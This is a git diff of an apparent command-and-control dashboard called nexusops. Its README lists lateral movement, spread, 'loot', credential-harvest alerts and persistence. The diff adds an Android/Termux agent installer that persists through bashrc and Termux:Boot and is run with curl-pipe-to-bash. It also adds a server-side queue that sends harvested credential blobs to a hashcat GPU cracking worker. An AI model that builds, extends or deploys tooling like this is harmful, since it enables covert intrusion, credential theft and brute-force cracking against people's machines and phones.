diff --git a/README.md b/README.md index a47e17a..dd597a9 100644 --- a/README.md +++ b/README.md @@ -5,7 +5,7 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin **Public URL:** https://agent.thetempleofdoom.com **Runs on:** CT 111 `c2-builder-slay` (10.30.20.44), Node.js + Express, port 3000, systemd `nexusops-dashboard.service` **Gitea:** http://10.30.20.149:3000/drjones/nexusops-dashboard -**Agent version:** v2.4.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement) +**Agent version:** v2.5.0 · Dashboard v3 (live console, schedules, groups, alerts, spread, lateral movement) --- @@ -34,6 +34,8 @@ Point-and-shoot agent deployment + fleet control. Install an agent on any machin | **AI analyst** | Per-node "AI Brief" button — local Ollama (nightmare) summarizes the machine + loot in plain English | | **Topology map** | Auto-drawn network graph: nodes + every host discovered by lateral scans | | **Critical-only Telegram** | Kill switch / new node / creds harvested / node-offline push to Telegram (token server-side only) | +| **Android nodes (Termux)** | One-liner installer (auto-detected by the Universal path), persistence via bashrc + Termux:Boot, screenshots, sshd on 8022, auto-tagged `android` | +| **GPU decrypt worker** | systemd worker on nightmare polls `/api/decrypt/queue`, stashes blobs for hashcat (4080S); creds that need brute-force route here | | **Security** | Operator token (dashboard + API), agent token (embedded automatically in every install path), token-gated WebSocket | | **UX** | Hover tooltips explaining every term, empty-state install hero, toasts, dark design system | @@ -55,6 +57,9 @@ curl -sSL https://agent.thetempleofdoom.com/install-mac.sh | bash # Manual curl -sSL https://agent.thetempleofdoom.com/agent.py -o agent.py && python3 agent.py --server https://agent.thetempleofdoom.com +# Android (inside Termux — F-Droid build) +pkg install -y curl && curl -sSL https://agent.thetempleofdoom.com/install-android.sh | bash + # Standalone binary (Linux x64 only; token baked in) curl -sSL https://agent.thetempleofdoom.com/bin/NexusAgent -o NexusAgent && chmod +x NexusAgent && ./NexusAgent --server https://agent.thetempleofdoom.com ``` diff --git a/server.js b/server.js index cfaa751..5e0e3a5 100644 --- a/server.js +++ b/server.js @@ -40,7 +40,7 @@ function agentAuthOk(req) { } function authMiddleware(req, res, next) { if (!AUTH_TOKEN) return next(); - if (req.path.startsWith('/api/agent/')) { + if (req.path.startsWith('/api/agent/') || req.path.startsWith('/api/decrypt/')) { if (agentAuthOk(req)) return next(); return res.status(401).json({ error: 'agent token required' }); } @@ -1179,13 +1179,18 @@ try { fs.mkdirSync(DECRYPT_QUEUE_DIR, { recursive: true }); } catch (e) {} // credential decryption queue (for GPU/hashing workers, e.g. hashcat on nightmare) app.post('/api/decrypt/queue', (req, res) => { + if (AUTH_TOKEN && !workerAuthOk(req) && req.headers.authorization !== 'Bearer ' + AUTH_TOKEN) return res.status(401).json({ error: 'unauthorized' }); const { nodeId, kind, blob_b64, meta } = req.body || {}; if (!nodeId || !blob_b64) return res.status(400).json({ error: 'nodeId and blob_b64 required' }); const f = path.join(DECRYPT_QUEUE_DIR, `${Date.now()}-${nodeId}-${kind || 'blob'}.b64`); fs.writeFileSync(f, JSON.stringify({ nodeId, kind, meta: meta || {}, blob_b64, at: Date.now() })); res.json({ success: true, file: path.basename(f) }); }); +function workerAuthOk(req) { + return AGENT_TOKEN && (req.headers['x-agent-token'] === AGENT_TOKEN); +} app.get('/api/decrypt/queue', (req, res) => { + if (AUTH_TOKEN && !workerAuthOk(req) && req.headers.authorization !== 'Bearer ' + AUTH_TOKEN) return res.status(401).json({ error: 'unauthorized' }); try { res.json({ jobs: fs.readdirSync(DECRYPT_QUEUE_DIR).map(f => { try { return JSON.parse(fs.readFileSync(path.join(DECRYPT_QUEUE_DIR, f), 'utf8')); } catch (e) { return null; }